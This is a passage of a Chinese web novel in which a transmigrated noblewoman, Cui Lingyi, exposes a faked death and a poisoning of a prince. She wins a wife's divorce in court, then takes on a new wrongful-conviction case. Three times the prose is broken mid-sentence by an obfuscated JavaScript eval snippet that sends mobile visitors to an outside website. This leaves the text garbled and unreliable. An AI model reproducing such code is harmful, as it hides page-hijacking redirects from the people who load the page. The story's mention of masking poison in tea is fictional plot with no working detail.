谢珩闻言,目光愈发凌厉:“奉谁的命?” “是奉殿下的命吗?” 黑衣人咬紧牙关,不再言语。谢珩又点了他几处穴道,那人顿时痛得满地打滚,口中直呼饶命。 “说还是不说?”谢珩问。 黑衣人终于承受不住,颤声道:“是、自然是殿下啊,我是殿下的龙虎卫,凡事可与殿下直接对接,自然是殿下说,我才会做。” 就在此刻,周明远和叶二郎也赶到了女德班。周明远一见沈玉棠,立时红了眼眶,奔上前去,将她紧紧抱在怀中。 “玉棠,崔小姐说你没死,那是我还不信,竟然是真的。” “我原以为你我此生只能在碧落黄泉才能相见了,没想到上天垂怜,竟让我此生还能再见到你。” 沈玉棠闻言,在周明远怀中轻轻颤抖:“明远,你不怪我?” “我怎会怪你?”周明远凝望她,仿佛望着世所罕有的奇珍异宝,“你未死,我感激你还来不及。你可知我如今有多欢喜。” 沈玉棠哽咽道:“我原以为,你定会恨我入骨,再不肯原谅我。” 周明远柔声道:“你必定有你自己的原因,是我未能及时察觉。如今想来,我真是糊涂至极。” 两人深情相拥。 谢珩不由转头看向崔令仪,她仍躺在地上,脸色苍白如纸,但呼吸已渐渐平稳。 “先将人带下去审问。”谢珩对衙役道,随即又看向叶二郎。叶二郎初见沈玉棠时显然对她活着并不意外,但在她与周明远相拥而泣时竟然显得瞋目结舌。可见叶二郎确实不知道沈玉棠与周明远是夫妻。 谢珩对沈玉棠道:“周夫人,如今这一切都是因你而起,你可知道老郑王的死因有何蹊跷?” 崔令仪倒在地上,艰难地咳出一口气。半晌她从地上爬起来,脸色苍白地道:“让我来替她讲吧。” 阿阮惊叫道:“你还好吗,小姐。” 崔令仪摇了摇头。 沈玉棠和阿阮一个撞到她前胸,一个撞到她大腿。大腿那个还好,没有什么重要的脏器,骨头也较为坚实。目前她看应当是没有伤到骨头,不过应该青了一大块,现在她仍是隐隐作痛。 但是前胸的就比较难了。人的颅骨本身就比胸骨更坚硬,胸骨内部脏器重要,给沈玉棠顶的那一下极重,所幸骨头应该没有断掉。否则胸骨戳进肺里,她早该吐血了。倘若只是皮外伤,还比较好修养。 崔令仪因着剧痛,说话极为缓慢:“事情要从二十多年前说起。沈老爷究竟有没有私生女,沈玉棠究竟有没有双胞胎妹妹,答案是,没有。” “当年沈夫人确实只生了一个女儿,沈老爷爱若珍宝,正是取名叫做,沈玉棠。” 她一边讲,一边口中还在抽冷气。 “沈玉棠虽非沈氏夫妇的独女,却也是自幼爱若珍宝,后来沈老爷又亲自为她挑选了新科进士周明远定亲。周明远虽家境贫寒,但是人才品貌与沈玉棠都相当。二人成婚以后更是蜜里调油,十分恩爱。” “大约两年前,也可能是三年前。沈玉棠在宴会上见到了老郑王和他的爱妾——沈氏。” “她也许叫做沈芙蓉?具体我也不知道。而后沈玉棠应当是在她的口中得知,当年郑王巡幸江南,确实看中了她,沈老爷舍不得女儿,便从族亲中选了个与她容貌相似的献给郑王。郑王十分好色,当时没有在意沈老爷阳奉阴违,后来在宴会上又见到了沈玉棠,顿时觉得身边她的替身食之无味,设计要得到沈玉棠。” “沈玉棠的族妹深恨沈玉棠害她走入绝境,应当是采取了什么方法助力郑王得到沈玉棠,郑王设计沈玉棠诈死,也许以周明远的性命、前程相要挟,沈玉棠从了,因此诈死。” “叶二郎在一开始的供词中其实并没有说谎。他确实是对沈玉棠一眼万年,他说沈玉棠容貌娇媚,眼下一颗泪痣,如同一滴血泪。包括他在柳叶巷见到沈玉棠,全都是真的,但是他向我们隐瞒了更多,还向我们杜撰出三个人来转移我们的视线。” “但之后那个妹妹,她肯定后悔了,她觉得她们姐妹二人的悲剧都来源于这个男人。因此她联合沈玉棠与叶二郎,共同计划给郑王下那种毒药,也就是氢氰酸。” “可是氢氰酸带有浓烈的苦杏仁味,应当怎么隐藏呢?” “她们选择了沈氏茶园出产的一种带有浓烈香气的雨前龙井。这种茶可以将氢氰酸的气味遮掩至八成,由此,她们选择了用这种茶叶来谋害郑王。我猜测,郑王最终就是死于这种毒药。” “死于这种他看不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410537|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、他用来逼迫沈玉棠假死的毒药。” 谢珩道:“是,这样确实可以解释为什么沈父远走江南,沈玉棠为何躲在暗中不敢与周明远相见,可是沈芙蓉如今何在,她又为什么要毒死你?” “谢大人,你想不到吗,沈芙蓉如今落在小郑王手中了啊。” “据我猜测,应当是小郑王抓到了沈芙蓉,他也想抓到沈玉棠,但沈芙蓉不肯说,他便放出消息,若要救回沈芙蓉,便要沈玉棠拿沈家的全部家财来换。” “但对目前的沈家而言,全部的家财也许只有沈玉棠的嫁妆。沈玉棠听说同住一条街的阿阮为我所救,她想找到我,通过我向周明远讨回自己的嫁妆。而就在此时,这件事也被小郑王察觉了。” “小郑王令沈芙蓉在沈家宅院之中取而代之,而沈芙蓉故意在给我的茶中下毒,这毒,就是引我发现其中症结的关键。” “如果我不识药理,饮下茶之后心悸腹痛,那么当周明远跟我说他妻子临死前有这样的病症,我也可以立即反应过来,沈玉棠是因为这种毒而诈死。” 谢珩又问:“那么,小郑王的杀手又为何要将据点选在女德班呢?” “若是他不把位置选在女德班,或许我还想不到这一着。” 崔令仪轻轻笑起来。 “或许大人也想问,沈芙蓉早在半月前就给我送信,原因是什么呢?” “沈芙蓉如今被小郑王胁迫,又因沈玉棠如今处境危急,她作为妹妹不能坐视不理,但是她又势单力薄,无法给沈玉棠传递信件,只有求助于我。” “她料定我查到沈玉棠诈死之事后,定会追查到底,而小郑王为了掩盖真相,也定会对我下手。到时候,我身为尚书之女,又背靠大理寺,想必不会轻轻放过。” 崔令仪看向沈玉棠和周明远,道:“沈娘子,如今真相大白,你还不快向谢大人求情。如今之事可大可小,说你杀人未遂自然当的,但说你正当防卫亦是当得。” “老郑王已经过世逾两年,想再证明他的死因,或许只能开棺见骨。若大人有意追查,我倒是愿意帮忙。只是亲王身死,陵墓早已用铁水浇筑,想必再想见他的尸身,难度极高。” 沈玉棠闻言,眼中闪过一丝犹豫,但很快便坚定下来。她膝行至谢珩面前,泪水涟涟:“求大人开恩,玉棠也是被逼无奈,若非郑王以明远性命相要挟,玉棠断不会做出此等大逆不道之事。” 周明远亦随之跪下,哀求道:“求大人网开一面,玉棠她实属无辜,这一切皆因郑王而起。” 谢珩沉默片刻,目光在崔令仪与沈玉棠之间来回游移。他深知此事牵涉甚广,稍有不慎,便会招致灾祸。 “罢了,”谢珩终是叹了口气,“此事我自有计较,你二人暂且退下,待本官查明真相,再做定夺。” 沈玉棠与周明远闻言,如蒙大赦,连连叩谢。 而后沈玉棠道:“只是大人,我妹妹沈芙蓉还身在郑王府。还望大人开恩,救我妹妹出来。” 谢珩道:“这便不是我一家之言能有定论的。想必今日之事,小郑王亦不会善罢甘休,而如果能在公堂之上解决。” 他看向气息奄奄,在阿阮的搀扶下才勉强坐起的崔令仪,道:“那样,有她巧舌如簧,应当问题不大。” 19. 第 19 章 崔令仪并不像谢珩现在想象的那样志得意满。 她很明白她给谢珩讲的这个故事证据链并不完整,沈玉棠绝非她给谢珩所描述的那样无辜,因为人物行事的动机,靠推理是不可能去完全推理出来的。 但是沈玉棠听懂了,她给沈玉棠的推理,就是以后沈玉棠在公堂之上狡辩的口径。 谢珩也听懂了,但是谢珩不想跟她在推理阶段计较太多,没有意义,这个故事最后是要上公堂的,上公堂也不一定会是谢珩审理,只要崔令仪能够说服对方,那跟他也没有什么关系。 而崔令仪看着逐渐逼近的倒计时,陷入了新的困扰之中。 因为系统给她的任务是和离并要回沈玉棠的全部嫁妆,但是目前沈玉棠的行为举止、思想感情,没有一个向她体现出沈玉棠想要和离。 甚至沈玉棠所住的柳叶巷跟周宅只有两里地,她很难不怀疑沈玉棠始终对周明远难以忘情,隔三岔五地去偷窥他。 该怎么让沈玉棠和离呢? 崔令仪觉得系统这个任务也不正义啊,为什么好端端地就挑拨人家小两口离婚?除非…… 除非他们两个真的没有外在表现出的那样要好。 崔令仪想的就快吐血了。她绝望地躺在地上,闭上眼睛仿佛要再次昏迷,她的余光中突然出现了一个人。 叶二郎。 沈玉棠姐妹应当很信任叶二郎吧?不然不会去他家,也不会选择他那边可以轻易获取的毒药。 叶二郎在郑王之死里,究竟扮演着什么角色? 进入女德班后,叶二郎始终面色复杂,目光在沈玉棠和周明远之间徘徊不定,似乎有千言万语却无法言说,最终也什么都没说。 此件事毕,黑衣人被谢珩带走,崔令仪被送回府上养伤。叶二郎则无所适从,也不知是该回家还是还去大理寺蹲大狱。崔令仪教人抬上马车后,忽地从车帘内伸出一只细长的手。 “叶二,你跟着我。” 谢珩拧起眉头。 崔令仪道:“叶二现在是重要的证人,要是把他放走了,回头他也消失给我看怎么办?那时候哭都来不及了。” 谢珩见她有道理,也不反驳,打马而走。 崔令仪望着他的背影沉思。她早就已经明白了,谢珩不是她的队友,他处事公开公正,有自己的原则,不可避免要出于自己的立场去捍卫封建男权统治,对于女性的处境视而不见。而她需要找一个权势滔天却又深受封建男权所害、能帮她拉偏架的队友。 白芷柔算吗? 白芷柔肯定是不算,她太软弱了,又是赵王背后的女人,没有与封建男权对抗的决心和能力。 叶二郎被崔令仪带上马车后,显得有些手足无措。他瞅瞅崔令仪,又瞅瞅马车窗外,似乎尴尬极了。 崔令仪斜倚在软垫上,目光锐利地打量着他。她缓缓开口:“叶二,郑王是不是你杀死的?” 叶二郎闻言,脸色一变,随即又强自镇定下来。他干笑道:“崔小姐,你这是说的什么话?我可是有品级的协律郎,怎么能掺和进这种事里去?” 崔令仪冷笑一声:“叶二,你别装了。刚才谢大人在,我没说,沈玉棠诈死很有可能就是你挑唆的。若非你在其中牵线搭桥,沈玉棠姐妹如何能轻易获取到那种毒药?你若是不说实话,休怪我对你不客气。” 叶二郎咬了咬牙,似乎在做着什么艰难的决定。半晌,他才低声道:“崔小姐,这事儿真跟我没关系。” 崔令仪挑了挑眉:“叶二,你可别忘了,你现在是在谁的车上。” 叶二郎苦笑一声:“崔小姐,我说的是真的。我多少也是个八品官,在吏部挂了号的。我如果出手去害皇亲国戚,万一被人查出来,我的命还要不要了?我与沈玉棠萍水相逢而已,只是看她可怜,又被她美貌所惑,因此才给了她毒药。她要怎么用,要如何用,全然与我无关。” 崔令仪问:“你可知道我为什么要你跟我走?” 叶二郎果然问:“为什么?” “因为我现在跟你说的话别人谁都听不到,只要我想,我就可以把所有的事情都推在你身上。我想沈氏姐妹也很乐于看到你是一切的罪魁祸首,不会替你说话的。” 叶二大惊失色。 许久他道:“你大胆,你敢!你要是真敢这样对我,我背后也是有人的!” “长公主会救我的!” 鱼上钩了。 崔令仪挑眉:“长公主?” “公主殿下跟这件事有什么关系?你要是不告诉我,我现在就带你去公主府。” “我相信长公主一定乐意告诉我。” 叶二郎闻言,眼中闪过一丝难色。他经过漫长的心理斗争,最终选择凑近崔令仪,压低声音道:“其实,我原本就是长公主安插在郑王府的暗探。郑王是个大色鬼,我看他死于惊风也是罪有应得。不过我原本并不打算插手沈玉棠姐妹的事情,只是有一日,沈芙蓉突然来找我,她说郑王残害他们姐妹,她对郑王恨之入骨。现在手中有郑王的把柄,要将郑王扳倒。我回禀了公主,公主乐见其成,便答应了她。后来,我便将那毒药交给了她,她说会在关键时刻使用。至于她们如何谋害郑王,我却是一概不知。” 这样看,长公主一直在其中浑水摸鱼。那么谢珩抓到的那个龙虎卫,究竟是小郑王的人,还是长公主的人,尚未可知。 崔令仪看向叶二郎,道:“叶二,你所言可是属实?” 叶二郎连连点头:“崔小姐,我所言句句属实,绝不敢有半句虚言。” 崔令仪轻轻一笑:“好,我便信你这一回。只是你须得记住,日后对簿公堂也要按照我说的做,否则我就把你今日出卖长公主的事情告诉她。” 叶二郎脸色一白,连连应是。 崔令仪垂下头,掩饰住眼中的情绪,等着马车载她前往医馆。 郎中诊断后,确认崔令仪并未伤到脏腑,只需调养几日便可痊愈。然而,却让崔令仪的身体极为虚弱,需得在床上静养几日,让她好一顿苦捱。 等到任务结束的最后一日,崔令仪终于等到开堂。不巧今日她面对的又是谢珩,看得出谢珩也并不想判决这个案子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415628|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这案子牵连甚广,水又太深。 谢珩端坐在堂上,头戴官帽身着玄衣,袖口金丝绣的獬豸纹在阳光下熠熠生辉。惊堂木拍在覆着猩红桌帷的公案上,十二名皂隶同时将水火棍往青砖上一顿,口中高呼“威武——”。崔令仪第一次见他身着这样正经的官服,男要俏,身带皂,一点儿也没有说错。 朝阳在他面颊投下明暗相衔的影子,眉峰如鞘,眉目如刀刃。一双神色瞳仁在卷宗堆起的阴影里泛着冷光,明晃晃地映出堂下人的模样。 由于病弱,崔令仪破格允许落座听审,今日来此的不但有周明远夫妇二人,还有小郑王亲临,实在是一场硬仗。 说是小郑王,实际他年纪也不轻了。约莫四十岁,身材痴肥,头发微秃,却偏在额前留着半缕桀骜不驯的碎发,光看他的脸,崔令仪就知道老郑王大概长得什么样。 看见崔令仪,他脸色阴沉,冷哼着扭过头去。 沈玉棠与周明远被带上堂来,将那日崔令仪的推断转为供词,眼看小郑王愈发不满,崔令仪又站了起来。 “回禀大人,有一事我要重新呈上证据。” “经过我这几日的调查,我发现沈玉棠并非是在老郑王的授意下假死,而是自己决定要假死的。” 谢珩道:“你有何凭证?” 崔令仪道:“证人叶二在此。” 叶二郎也被带上堂来,他格外紧张,颤声道:“下官可以作证。” 崔令仪道:“原是我推断有误。当年老郑王见到沈玉棠后,的确有心强夺臣妻,但最终碍于自己的声名没有出手,是沈玉棠自己去找他的。” “沈玉棠与沈芙蓉相遇后,沈玉棠得知沈芙蓉为她所遭受的一切,不忍让她独自面对,因此才向老郑王自荐枕席。此事周明远是知情的。” 她这句话落下,公堂之上一片哗然。 “那日我去周宅,特意要求去了沈玉棠的卧房。有一件事吸引了我的注意,就是卧榻之上,还有一个沈玉棠尚未绣完的绣绷。” “我原本以为这是沈玉棠被迫假死的证据——因为她没有做好准备,仓促假死。但后来我明白了,这是周明远蓄意遗留的,目的就是为了迷惑我。” “周明远在沈玉棠死后确实非常后悔,并且渐渐理解了沈玉棠的苦衷。但是当初确实是他逼迫沈玉棠不得不假死的。” “他为了什么?”有人问。 “为了他的官声。” “周明远一心要做纯臣,既然要做纯臣就不能和王公贵胄过从甚密,更何况是这种丑事?周明远难以接受沈玉棠,与她爆发了激烈的争吵。我那日去沈玉棠房中就有感觉,沈玉棠房中太干净太整洁了,没有生活过的痕迹,却又随意地将绣到一半的绣绷扔在卧榻之上。” “在坐的男人可能不明白为什么绣绷不能放在卧榻上。那是因为绣绷上往往是有针的。甚至有些特别复杂的绣法,绣绷上会不止有一根针。将绣绷随意地扔在卧榻上实际非常危险,有可能会扎到人。大家回家去看自己的妻子、自己的母亲,是没有人会随便把绣到一半的绣绷放在卧榻上的。” 20. 第 20 章 “既然不是沈玉棠放的,那会是谁?” “下人不敢乱动夫人的东西,那放绣绷的,当然就是周明远本人。也不对,不是放的,而是他丢在那里的。当年,他跟沈玉棠发生了剧烈的争吵,甚至把沈玉棠的绣绷摔在卧榻上。沈玉棠在那时候选择假死,没有把绣绷拿走,所以之后周明远来到卧房中怀念沈玉棠的时候,自然的以为绣绷就是沈玉棠留在那里的,并且一直将其保留下来,直到我发现。” “而沈玉棠之所以决定假死,一方面是为了保护沈芙蓉,另一方面,也是为了保护周明远。她深知郑王手段毒辣,若自己不从,周明远与沈芙蓉都将面临灭顶之灾。” “因此她决定牺牲自己,以假死之名,换取周明远与沈芙蓉的平安。” “所以,大人,按照《周律》,女子与人和奸,应徒二年。但由于妻犯奸从夫捕的原则,既然周明远并未追究,应不予处理。而同时,妻子通奸构成义绝,可强制夫妇二人和离,并要求周明远返还沈玉棠全部嫁妆。” “郑王虽身有奸罪、监临奸等多条刑状,本应判处决杀,但身死罪消,可以免予追究。小郑王私自监禁良家女子,甚至还以此敲诈勒索,身犯非法囚禁、滥用职权等罪,至少应断其流两千里,还望小郑王即日能将沈芙蓉放归。” 崔令仪条理清晰,逻辑符合情理。公堂之上,众人屏息以待。 小郑王面色铁青,双手紧握成拳,显然对崔令仪的指控感到愤怒和不甘。他身旁的侍卫更是蠢蠢欲动,似乎随时准备上前理论。 然而,谢珩并未立刻做出决断,而是转头看向叶二郎,问道:“叶二郎,你所言是否属实?” 叶二郎已恢复了些许镇定,他跪伏在地上,颤声道:“大人,下官所言句句属实,若有半句虚言,愿受任何惩罚。” 谢珩问:“沈玉棠,你可愿与周明远和离?” 周明远垂下眉眼望向沈玉棠:“玉棠,不要与我和离。” “我真的知道错了,我不该纠结于……那件事。我保证从今以后再也不会向你提起。” 崔令仪却笑了。 她道:“周明远,你以为为什么沈玉棠宁愿躲在远处默默看着你,也不肯现身在你眼前?” “你以为仅仅是为了此事么?” “沈玉棠待你情深,你却从未真正懂过她。她所求的,不过是你真心相待,而你,却始终在权衡利弊,最终将她推入深渊。” “倘若你在得知沈芙蓉一事后奋起,向大理寺状告老郑王,今日的一切全都不会发生,你们仍然是当年的恩爱夫妻。” “可你没有。” “你忧心自己的官声受损,不愿为妻妹状告老郑王,最终逼迫妻子至此。难道你如今轻飘飘的两句知错,就能挽回妻子的心意?” 随着崔令仪话音落地,沈玉棠也道:“大人,妾身要和周明远和离。” 谢珩目光再次扫过堂下众人,最终落在崔令仪身上。他缓缓道:“崔令仪,你所提供的证据和推理虽合情合理,但仍需进一步核实。关于请求周明远夫妇和离一事,本官予以允准,限周明远三日内写下放妻书,清点嫁妆尽数归还沈玉棠。至于沈芙蓉一案,本官会择日再审,在此期间,沈芙蓉暂由本官看管,以确保其安全。” 小郑王闻言,脸色更加难看,却也只能强压下怒火,点头应允。 【恭喜宿主任务完成,和离值+10,寿命+10日】 【宿主现有积分34点,可以查询系统商城,通过和离值兑换物品。】 “兑换大判官笔。”崔令仪立即道。 再次踩点完成任务,在任务中又身受重伤,如今任务完成,崔令仪情不自禁浑身一轻,竟然还在众目睽睽之下晕厥过去,等她再醒来时,已经身在自己的家中了。 阿阮见她清醒,甚至喜极而泣:“小姐,你终于醒了。我还以为你再也醒不过来了。” 阿阮开门,门外等着谢珩、沈玉棠,乃至叶二等人,道:“大小姐醒了,但你们别一起上,一个一个进来。” 经过他们一番商议,最终是沈玉棠先进门。 沈玉棠问:“崔小姐怎么知道我有和离之意?” 崔令仪撑着软枕,虚弱地半躺在卧榻之上,闻言轻轻地笑了:“是你自己告诉我的啊。” “沈娘子忘了自己给我写的那一封信?” 那是整整十日以前,案件的最开始,崔令仪收到的那一封信。信中言辞恳切,力陈夫妻不睦,想要与郎君和离。 倘若沈玉棠没有和离的打算,又怎么会给她写一封和离信。 沈玉棠盈盈向她一拜:“多谢小姐为我姐妹平冤,助我挣脱苦海。从今以后,我便能走在阳光下了。不必再冠以谁家娘子的身份,也不必再说,我是谁的未亡人。” “沈娘子知道我有一个女德班吗?”崔令仪问。 “知道的。”沈玉棠道,“崔小姐大义,为这世上如我一般的无知妇人,提供了一个能够知晓律法世事的机会。” “娘子绣工卓绝,要是闲来无事,可否来我女德班上执教?”崔令仪问。 “娘子识文断字,心思缜密,又极有阅历,我想一定能帮我把女德班发扬光大。” “我想让这世上的妇人,人人都不必拘于后宅的枷锁。” 沈玉棠笑道:“愿助娘子一臂之力。” 第二个进来的是叶二郎。 叶二郎道:“崔小姐,我是来为长公主传口谕的。” “长公主说,等你伤好了,她会举办一次赏荷宴。适时长公主府上的人会亲自来给你下帖子,请你务必要参加。” 崔令仪问:“长公主要见我?为什么?” 叶二郎道:“公主找你,我怎么知道要做什么,你别问我。” 崔令仪道:“好好好,你有话对我藏着掖着,你等着,等我见到长公主,我必定能取信于她。到时候我就把你这段时间的表现好好详细跟她说说,让她斩下你的狗头。” “别呀。”叶二郎道,“我就是跟崔小姐开个玩笑。” “崔小姐不知道我们这位长公主的威名吗?” “端阳长公主萧景舒,是太子殿下的同胞阿姊,都是正宫皇后嫡出,为人极有才干。若说太子殿下性情温和,可为守成之君,我们这位公主可是杀伐果决、勇猛果毅,十六岁就能领一支精兵打胜仗。又任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424237|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人唯贤,聪慧精干,在政事上极有自己的见解。只是不幸身为女子,若是身为男子,定当雄踞天下,是为继承大统的不二之选。” 原著里也曾提到过这位端阳长公主。 端阳长公主容色艳丽,性格跋扈,少年时曾征战沙场,战功彪炳。只是后来与神威将军一见钟情,跟他成婚,当时全天下都赞誉其为天作之合。 但神威将军心中实际另有其人。 没错,就是女主白芷柔。 白芷柔少女时养在边关一段时日,在这期间,她碰巧救下重伤濒死的神威将军。神威将军震惊于这世间竟有如此清澈如露珠般的女子,一见钟情。回京后本想以军功求娶,却不想被端阳长公主横插一杠子,被迫迎娶了长公主。 婚后两人感情极为不睦,却因一次酒醉意外圆房。一夜之后长公主身怀有孕,可她在幸福的世界中并没有沉浸多久,她有一日发现神威将军竟然去和刚刚嫁去赵王府的白芷柔私会。 要知道她本来就看不上赵王萧临渊这个奸生子,白芷柔又是赵王的妻子。婚后丈夫一直待她冷淡,她还天真地以为日久天长一定可以打动丈夫,不想一切都是假的,她永远都打动不了他。 盛怒的长公主掏出御赐的金马鞭便要鞭笞白芷柔,被神威将军挡下。她更是生气,与神威将军缠斗了几个回合,却不想动作太过剧烈,她那个还没满三个月的孩子就这么流产了。太医诊断她伤到了根本,此生在难以有孕,那以后,她身体也变得极孱弱,就连马鞭也拿不起了。 故事最后,赵王与太子相争,长公主亲自率军想要击败赵王,却被神威将军偷袭。她爱了半辈子的丈夫,当胸一箭将她刺死,因为担心她万一得势,会对他脆弱的心上人不利。 眼前叶二郎尚在滔滔不绝:“长公主哪哪儿都好,就是为人太过严苛,若她知道我把什么都告诉你,必定会杀了我的。不过你就好啦,长公主十分爱才,你去了她一定会很喜欢你,说不定你还能挤进长公主府,变成她小团队的核心成员呢。” “不过我猜长公主这次见你,或许是跟驸马有关。” “你知道的,驸马和公主一直感情不好,公主也为了给驸马生子,伤了身体。我猜公主是知道你给京中的女子们打了这么多和离官司,终于想开了,想找你帮助她与驸马和离呢?” “那也未必。”崔令仪冷冷道,“你知道我上一个案子的当事人是谁?” 叶二郎果然问:“是谁?” “是赵王妃,白芷柔。” 叶二郎闻言,脸色登时煞白:“啊呀,那你惨了,公主最讨厌她了。你说你帮谁不好,怎么想不开帮她呢,难道你不知道驸马跟公主感情不好,就是因为她吗?” 崔令仪道:“那人也已经帮了,现在也没有别的办法,总不能穿越回去不管她吧。” 叶二郎摇头叹息,半晌道:“长公主性如烈火,爱之欲起生,恨之欲其死,你好自为之,我在长公主面前也插不上话。往后的事儿,我可就帮不了你啦。若你能从公主府里囫囵个儿出来,我一定在千味楼设宴请你。” 爱之欲其生,恨之欲其死。 这不正是她想找的新靠山吗? 21. 第 21 章 最后进来的是谢珩。 彼时天都已经擦黑,谢珩等了一整个下午,他在大理寺还有诸多公务,难得在这里偷闲,却把时间全花在等待上了。 谢珩一见崔令仪就道:“他们都找你干什么,怎么说了这么久。” 崔令仪懒散道:“还用问吗,沈玉棠又哭又笑的谢谢我,叶二想跟我爹攀攀关系,最好能在仕途上再进一步,不想永远做协律郎。” “大人又是为什么等到现在的呢?” 谢珩道:“你今日辛苦了,我……我来看看你的伤势。” “何况拖着这样的身子去公堂?难道沈玉棠和周明远是否和离,比你的命还重要吗?” 崔令仪道:“我是为了这一刻。” “大人,坐下,我给你变个戏法。” 谢珩依言坐下。 “大人,请在纸上写下《周律》中有关和离的内容。特别是那个,女子如状告丈夫,需坐牢两年。” 谢珩提笔写下。 崔令仪从系统背包之中点出大判官笔,在心中默念,把这条律法修改为:女子若有不忿,可以聘请状师状告丈夫,并主动提出和离。 系统商城中的《周律》仿佛被一阵风吹过,有几不可察的金色蝴蝶从书页之上飞舞而过,随后化成了一阵风。 崔令仪问:“大人,还记得刚才发生了什么吗?” “当然记得。”可当谢珩拿起桌上自己写过的纸,登时吃了一惊,“这是我写的?可这……并不是《周律》中的内容啊?” 崔令仪又问:“那么,敢问大人,《周律》中什么描述女子和离的?” 谢珩依言复述道:“女子若有不忿,可以聘请状师状告丈夫,并主动提出和离。” 他忽地明白了:“崔小姐,你做了什么?” 崔令仪但笑不语。 谢珩沉默良久。他最终道:“罢了,这条律法本来就该是这样子。公堂从不是为了某一性别而设,无论男女,都有诉上公堂,追求正义公理的资格。” 崔令仪道:“既然如此,便多谢大人。” 谢珩道:“崔小姐身上有很多谜团。” 崔令仪道:“难道大人不是么?” 两人相视而笑。 末了,谢珩道:“天色不早了,公廨中尚且有事,我便先走了。还望崔小姐珍重身体,江湖路远,不在这一时半刻急切。” 崔令仪半阖了眼睛,一张脸埋在柔软的锦被之中:“那便借谢大人吉言了。” 难得一夜好梦。 沈玉棠在女德班可谓如鱼得水。她本身就是父母金尊玉贵娇养长大的,虽说曾受封建思想一些影响,但她是真的实现了自我解放的。同时她刺绣、绘画都很擅长,人又长得美,很受学员们欢迎。在沈玉棠的加入之后,女德班的人倒是比以往更多了。 崔令仪在家里合适修养了四五日,已经可以走动了,便亲自去了女德班里,谁知就在她来这一日,有一个风尘仆仆的女学员甫一见她,便立刻下跪,哭诉道:“请崔小姐救救我妹妹!” 这女学员身材矮小瘦弱,脸色蜡黄,她仰头望着崔令仪,一双大眼睛倒是水汪汪的。 “你妹妹怎么了?”崔令仪不敢用太大力气向她回话,轻声问。 “我家姓罗,我名月姑,我妹妹名叫秀姑,性格柔顺,自小就体弱多病,胆小怕事。” 那女学员娓娓道来:“自我四岁,我们的父亲就去世了,我姊妹二人随母亲到仓前镇舅舅家生活。长大成人之后,舅舅将我嫁给屠户,将我妹妹嫁给猎户葛二牛。” “上个月初二,葛二牛突感不适,回到家后很快浑身发热,当天下午救口吐白沫病故了。葛二牛的母亲,也就是我妹妹秀姑的婆母,觉得死状有异,前往县衙要求验尸。彼时,葛二牛已经浑身青黑,尸身长满水泡,口鼻内有鲜血流出,知县老爷认为他是中毒身亡的,并怀疑是我妹妹所为。” 葛二牛,这个名字有点熟悉,但又一时有点想不起来。 “我妹妹自然不肯承认,谁知县衙竟然对我妹妹施以酷刑。我妹妹挺不住了,只得承认是她所为,随后县衙认定我妹妹必定是与人有染,所以才害死丈夫。可我妹妹清清白白,自然说不出那人的名字。后来有邻人作伪证,说看见我妹妹与同村的杨大鼎有所往来,便认定杨大鼎就是奸夫。” “杨大鼎本来也不肯承认,后来实在难以忍受酷刑,这才画押。当地县衙就将此事上报给了大理寺。最近我听说,大理寺已经判处我妹妹秋后问斩,可我妹妹确凿是冤枉的啊。” “我是听闻崔小姐的名声才上京来的,崔小姐心细如发,智计过人,我斗胆请求崔小姐帮我妹妹申冤,为此,我愿将家中田宅全部赠与崔小姐,只求公道二字,只求换回我妹妹一条性命。” 说到这里,崔令仪便想起来了。这个案子谢珩日前曾给她讲过,她有印象,谢珩说这案子是屈打成招必有冤情,既然如此,为什么会这么快判决秀姑秋后问斩呢? 崔令仪沉吟片刻,道:“你先起来,午后随我去趟大理寺,案件的经过,总要向刑官问清才好。” 罗月姑千恩万谢地起身,望着崔令仪几乎流下泪来:“我与妹妹自幼相依为命,虽然如今许嫁两家,但仍然常有往来。倘若秀姑真的做错了,罚她也便是了,可是根本没有的事情却将她冤死,我死也不会瞑目。” 午后,阳光正好,崔令仪带着罗月姑来到了大理寺。大理寺内,谢珩正在审阅案件,见崔令仪前来,无奈之余,又是一哂。 “崔小姐,伤势如何了?”谢珩问。 崔令仪道:“好多了,但我今日是有要事才前来的。是关乎一个大人曾经跟我说过的案子。” 崔令仪将秀姑的案子为谢珩简述,谢珩道:“此案我确实跟你说过。供词前言不搭后语,显然内有冤屈,实疑点重重。可我竟不知竟然已判过。” “只是若要翻案,还需找到确凿的证据。” 崔令仪点头:“我明白,大人,能否让我查看一下葛二牛的尸检报告?” “何谓‘尸检报告’?”谢珩问,“是验尸记录吗?” 崔令仪一怔,随后应道:“对。” 崔令仪翻阅良久,月 